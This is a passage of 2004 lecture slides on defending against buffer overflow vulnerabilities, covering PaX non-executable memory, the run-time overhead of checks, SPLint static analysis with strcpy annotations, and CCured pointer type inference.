  • 1. PaX protects the heap as well as the stack.
  • 2. Uses the supervisor/user bit to flag non-executable

data pages on x86

  • 3. Modifies the page fault handler to throw page faults

when attempting to execute code in data pages.

  • 4. Extra overhead.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 47

slide-105
SLIDE 105

Run-time Solutions Overview

  • 1. We may need to execute code on the heap. eg. A Java

interpreter may wish to cache some executable code on the heap in order to speed up execution3.

  • 2. PaX (and equivalent) and Openwall provide a wrapper

utility for this.

3Example by Lhee and Chapin Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 48

slide-106
SLIDE 106

Run-time Solutions Overview (2)

  • 3. We may need to execute code in the stack.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 49

slide-107
SLIDE 107

Run-time Solutions Overview (2)

  • 3. We may need to execute code in the stack. eg. GCC

allows nested functions which require an executable stack.

  • 4. As above, PaX (and equivalent) and Openwall provide

a wrapper utility to alow this.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 49

slide-108
SLIDE 108

Problems with run-time solutions

  • Run-time solutions always come with a performancy

penalty

  • After detecting and preventing a buffer overflow at

run-time it is usually impossible to recover the program

  • So we have turned the security threat into a

denial-of-service attack

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 50

slide-109
SLIDE 109

Static analysis — SPLint

[Evans, Larochelle, Guttag, Horning and Tan]

  • Static analysis aims to detect problems at compile time
  • General case is undecidable
  • SPLint aims to detect high fraction of buffer overflow

vulnerabilities

  • However, it is both unsound and incomplete

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 51

slide-110
SLIDE 110

SPLint — How to use it?

  • User has to add annotations to source code and

standard library headers in the form of comments like /*@ ... @*/

  • preconditions (requires) and postconditions (ensures)
  • four kinds of constraints: minSet, maxSet, minRead

and maxRead as well as constants, variables, +, − and conjunction /\

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 52

slide-111
SLIDE 111

SPLint — Example

char *strcpy (char *s1, const char *s2)

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 53

slide-112
SLIDE 112

SPLint — Example

char *strcpy (char *s1, const char *s2) /*@requires maxSet(s1) >= maxRead(s2)@*/

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 53

slide-113
SLIDE 113

SPLint — Example

char *strcpy (char *s1, const char *s2) /*@requires maxSet(s1) >= maxRead(s2)@*/ /*@ensures maxRead(s1) == maxRead(s2) /\ result == s1@*/

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 53

slide-114
SLIDE 114

SPLint — How does it work?

  • 1. Parse tree contains expressions – each one tagged with

its constraints

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 54

slide-115
SLIDE 115

SPLint — How does it work?

  • 1. Parse tree contains expressions – each one tagged with

its constraints

  • 2. Constraint of an expression is the conjuction of

constraints of the subexpressions

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 54

slide-116
SLIDE 116

SPLint — How does it work?

  • 1. Parse tree contains expressions – each one tagged with

its constraints

  • 2. Constraint of an expression is the conjuction of

constraints of the subexpressions

  • 3. Constraint resolution is done at the same time as type

checking – going up the tree

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 54

slide-117
SLIDE 117
  • 4. Constraints are simplified using algebraic rules

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 55

slide-118
SLIDE 118
  • 4. Constraints are simplified using algebraic rules
  • 5. For conditional branching predicates have to be

analysed to see if they provide a guard if (sizeof (s1) > strlen (s2)) strcpy(s1, s2);

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 55

slide-119
SLIDE 119
  • 4. Constraints are simplified using algebraic rules
  • 5. For conditional branching predicates have to be

analysed to see if they provide a guard if (sizeof (s1) > strlen (s2)) strcpy(s1, s2);

  • 6. Loops are treated using heuristics

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 55

slide-120
SLIDE 120

Combined static/run-time — CCured

[Necula, McPeak and Weimer]

  • Source-to-source translation – from C to CIL
  • Defines pointer types: safe, sequence and dynamic
  • Union of a strongly typed and an untyped language
  • Pointer types in C code are inferred based on

constraints

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 56

slide-121
SLIDE 121

CCured — Type inference

Aim: maximize number of SAFE and SEQ pointers

  • 1. Constraint collection
  • 2. Constraint normalisation
  • 3. Constraint solving

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 57

slide-122
SLIDE 122

CCured — Memory management

  • Doesn’t handle manual deallocation (using free)
  • Uses a conservative garbage collector
  • We can assume that free is a nop
  • Turn this feature off may make the code unsafe

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 58

slide-123
SLIDE 123

Conclusion

StackShield StackGuard SPLint Kernel patch CCured Cyclone HARD Java libsafe EASY

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 59